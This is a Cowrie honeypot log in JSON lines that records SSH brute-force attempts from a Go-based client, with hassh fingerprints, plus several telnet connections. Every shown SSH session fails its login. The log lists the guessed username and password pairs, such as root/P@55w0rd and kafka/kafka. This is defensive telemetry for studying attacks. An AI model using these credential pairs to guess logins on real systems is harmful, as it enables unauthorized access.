{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41826,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c5b3550c0a5","protocol":"ssh","message":"New connection: 192.109.200.237:41826 (159.203.135.109:22) [session: 4c5b3550c0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:04.108600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:04.112966Z","src_ip":"192.109.200.237","session":"4c5b3550c0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:04.195460Z","src_ip":"192.109.200.237","session":"4c5b3550c0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:04.444624Z","src_ip":"192.109.200.237","session":"4c5b3550c0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:05.532193Z","src_ip":"192.109.200.237","session":"4c5b3550c0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41836,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a7036aa00b9","protocol":"ssh","message":"New connection: 192.109.200.237:41836 (159.203.135.109:22) [session: 3a7036aa00b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:07.470240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:07.475049Z","src_ip":"192.109.200.237","session":"3a7036aa00b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:07.556853Z","src_ip":"192.109.200.237","session":"3a7036aa00b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:07.802634Z","src_ip":"192.109.200.237","session":"3a7036aa00b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49416,"dst_ip":"10.17.0.5","dst_port":23,"session":"374d4c04a347","protocol":"telnet","message":"New connection: 152.42.224.71:49416 (10.17.0.5:23) [session: 374d4c04a347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:08.127611Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:08.891490Z","src_ip":"192.109.200.237","session":"3a7036aa00b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51158,"dst_ip":"159.203.135.109","dst_port":22,"session":"16f0338e0629","protocol":"ssh","message":"New connection: 192.109.200.237:51158 (159.203.135.109:22) [session: 16f0338e0629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:10.792238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:10.798248Z","src_ip":"192.109.200.237","session":"16f0338e0629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:10.880877Z","src_ip":"192.109.200.237","session":"16f0338e0629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:11.153632Z","src_ip":"192.109.200.237","session":"16f0338e0629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:12.239998Z","src_ip":"192.109.200.237","session":"16f0338e0629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51164,"dst_ip":"159.203.135.109","dst_port":22,"session":"d02d4df8a19e","protocol":"ssh","message":"New connection: 192.109.200.237:51164 (159.203.135.109:22) [session: d02d4df8a19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:14.305002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:14.309830Z","src_ip":"192.109.200.237","session":"d02d4df8a19e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:14.393498Z","src_ip":"192.109.200.237","session":"d02d4df8a19e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:14.653714Z","src_ip":"192.109.200.237","session":"d02d4df8a19e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:15.742306Z","src_ip":"192.109.200.237","session":"d02d4df8a19e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51166,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ca256105c2","protocol":"ssh","message":"New connection: 192.109.200.237:51166 (159.203.135.109:22) [session: 85ca256105c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:17.636890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:17.642722Z","src_ip":"192.109.200.237","session":"85ca256105c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:17.725249Z","src_ip":"192.109.200.237","session":"85ca256105c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43778,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9c6a7d0e60","protocol":"telnet","message":"New connection: 152.42.224.71:43778 (10.17.0.5:23) [session: ba9c6a7d0e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:17.778783Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43780,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cca31b3d7a4","protocol":"telnet","message":"New connection: 152.42.224.71:43780 (10.17.0.5:23) [session: 0cca31b3d7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:17.789391Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:17.976408Z","src_ip":"192.109.200.237","session":"85ca256105c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43794,"dst_ip":"10.17.0.5","dst_port":23,"session":"be3b8533a4b5","protocol":"telnet","message":"New connection: 152.42.224.71:43794 (10.17.0.5:23) [session: be3b8533a4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:19.031519Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:19.061092Z","src_ip":"192.109.200.237","session":"85ca256105c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48252,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e0315175b6b","protocol":"ssh","message":"New connection: 192.109.200.237:48252 (159.203.135.109:22) [session: 3e0315175b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:20.962501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:20.966674Z","src_ip":"192.109.200.237","session":"3e0315175b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:21.048882Z","src_ip":"192.109.200.237","session":"3e0315175b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:21.296291Z","src_ip":"192.109.200.237","session":"3e0315175b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:22.382114Z","src_ip":"192.109.200.237","session":"3e0315175b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48256,"dst_ip":"159.203.135.109","dst_port":22,"session":"71196aa3b50b","protocol":"ssh","message":"New connection: 192.109.200.237:48256 (159.203.135.109:22) [session: 71196aa3b50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:24.252744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:24.258176Z","src_ip":"192.109.200.237","session":"71196aa3b50b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:24.340886Z","src_ip":"192.109.200.237","session":"71196aa3b50b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:24.601469Z","src_ip":"192.109.200.237","session":"71196aa3b50b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:25.686558Z","src_ip":"192.109.200.237","session":"71196aa3b50b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48270,"dst_ip":"159.203.135.109","dst_port":22,"session":"09441d92520b","protocol":"ssh","message":"New connection: 192.109.200.237:48270 (159.203.135.109:22) [session: 09441d92520b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:27.851265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:27.855004Z","src_ip":"192.109.200.237","session":"09441d92520b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:27.936633Z","src_ip":"192.109.200.237","session":"09441d92520b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:28.184538Z","src_ip":"192.109.200.237","session":"09441d92520b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:29.270200Z","src_ip":"192.109.200.237","session":"09441d92520b","protocol":"ssh"}
